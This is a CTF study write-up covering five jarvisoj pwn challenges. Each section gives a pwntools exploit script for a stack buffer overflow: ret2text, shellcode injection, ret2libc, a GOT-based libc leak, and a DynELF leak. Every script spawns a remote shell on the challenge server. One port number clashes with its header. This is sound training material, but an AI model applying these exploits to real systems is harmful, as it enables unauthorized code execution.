pwn study summary (five) - Finishing a classic title
Getting stack overflow
Platform: jarvisoj
Topic: level0
drone: nc pwn2.jarvisoj.com 9881
Viewer Protection :
View Disassembly :
exp :
from pwn import *
import pwn
r = pwn.remote('pwn2.jarvisoj.com', 9881)
# buf rbp callsystem
payload = 'a'*0x80 + 'b'*8 + p64(0x400596)
r.sendline(payload)
r.interactive()
getshell:
Performs string interception buffer +
Platform: jarvisoj
Topic: level1
drone: nc pwn2.jarvisoj.com 9877
Viewer Protection :
Disassembly :
run locally :
exp :
# -*- coding: UTF-8 -*-
from pwn import *
r = pwn.remote('pwn2.jarvisoj.com', 9877)
# 截取buf的地址
buf_addr = int(r.recvline()[14:-2], 16)
# 生成一段标准shellcode
shellcode = asm(shellcraft.sh()) + '\x00'
# 由于buf被填充为shellcode,且buf地址已知,因此可以让程序跳到buf执行shellcode
# shelloce后面填充'a' ebp 返回地址为buf的地址
payload = shellcode.ljust(0x88, 'a') + 'b'*4 + p32(buf_addr)
r.sendline(payload)
r.interactive()
get shell:
+ Function call parameter passing
Platform: jarvisoj
Topic: level2
drone: nc pwn2.jarvisoj.com 9878
View File Protection :
View Disassembly :
exp :
# -*- coding: utf-8 -*-
from pwn import *
r = remote('pwn2.jarvisoj.com', 9878)
elf = ELF('./level2')
junk = 'a'*(0x88+4)
system_addr = elf.symbols['system']
bin_sh_addr = elf.search('/bin/sh').next()
# buf+ebp ret_addr 任意 参数
payload = junk + p32(system_addr) + p32(0) + p32(bin_sh_addr)
#p32(0)为system函数的返回地址
#返回前已经执行了system('bin/sh'),所以这里可以任意填充
r.send(payload)
r.interactive()
getshell:
GOT leaked
Platform: jarvisoj
Topic: level3
drone: nc pwn2.jarvisoj.com 9879
View File Protection :
known information :
- level3 there is overflow
- In level3 free system function
- In level3 free '/ bin / sh' String
- Providing libc file, system functions with '/ bin / sh' string present in libc
Objective : Get system function and '/ bin / sh' string libc memory address and call
exp:
# -*- coding: utf-8 -*-
from pwn import *
r = remote('pwn2.jarvisoj.com', 9879)
level3 = ELF('./level3')
libc = ELF('./libc-2.19.so')
junk = 'a' * (0x88 + 4)
func_vul_addr = 0x804844b
write_plt = level3.symbols['write']
write_got = level3.got['write']
#write(int fd, const void *buf, size_t n)
#通过write函数获得write的got地址,即在libc模块中的地址
#write函数执行时,got表中的地址已经被重写为write在内存中的实际地址
#调用write后,令其返回到vul函数,目的是为了再次执行read
# ret_addr write的返回地址 fd buf n
payload1 = junk + p32(write_plt) + p32(func_vul_addr) + p32(1) + p32(write_got) + p32(4)
r.recvuntil("Input:\n")
r.sendline(payload1)
write_addr = u32(r.recv(4))
#函数在libc中的plt地址
libc_write_plt = libc.symbols['write']
libc_system_plt = libc.symbols['system']
libc_bin_sh_plt = libc.search('/bin/sh').next()
#计算libc中write函数GOT与PLT的偏移,可以通过偏移定位其它函数在内存中的地址
libc_offset = write_addr - libc_write_plt
system_addr = libc_system_plt + libc_offset
bin_sh_addr = libc_bin_sh_plt + libc_offset
# ret_addr 任意 参数:'/bin/sh'
payload2 = junk + p32(system_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)
r.recvuntil("Input:\n")
r.sendline(payload2)
r.interactive()
getshell:
Use DynELF remote libc leak
Platform: jarvisoj
Topic: level4
drone: nc pwn2.jarvisoj.com 9877
View File Protection :
View Disassembly :
exp :
# -*- coding: utf-8 -*-
from pwn import *
r = remote('pwn2.jarvisoj.com', 9880)
elf = ELF('./level4')
write_plt = elf.symbols['write']
vul_addr = 0x804844b
junk = 'a'*(0x88+4)
#DynELF函数
#条件:能够实现任意地址读,并且能够反复触发
def leak(address):
# ret_addr write返回地址 参数1 参数2 参数3
payload1 = junk + p32(write_plt) + p32(vul_addr) + p32(1) + p32(address) + p32(4)
r.sendline(payload1)
data = r.recv(4)
return data
#使用DynELF远程泄露libc
memory = DynELF(leak, elf=elf)
#搜索远程libc中system函数的地址
system_addr = memory.lookup('system', 'libc')
bss_addr = 0x804a024
read_plt = elf.symbols['read']
# ret_addr read返回地址 参数1 参数2 参数3
payload2 = junk + p32(read_plt) + p32(vul_addr) + p32(0) + p32(bss_addr) + p32(8)
r.sendline(payload2)
#在bss段中写入'/bin/sh',注意00截断
r.send('/bin/sh\x00')
#调用system('bin/sh')
payload3 = junk + p32(system_addr) + p32(0) + p32(bss_addr)
r.sendline(payload3)
r.interactive()
getshell: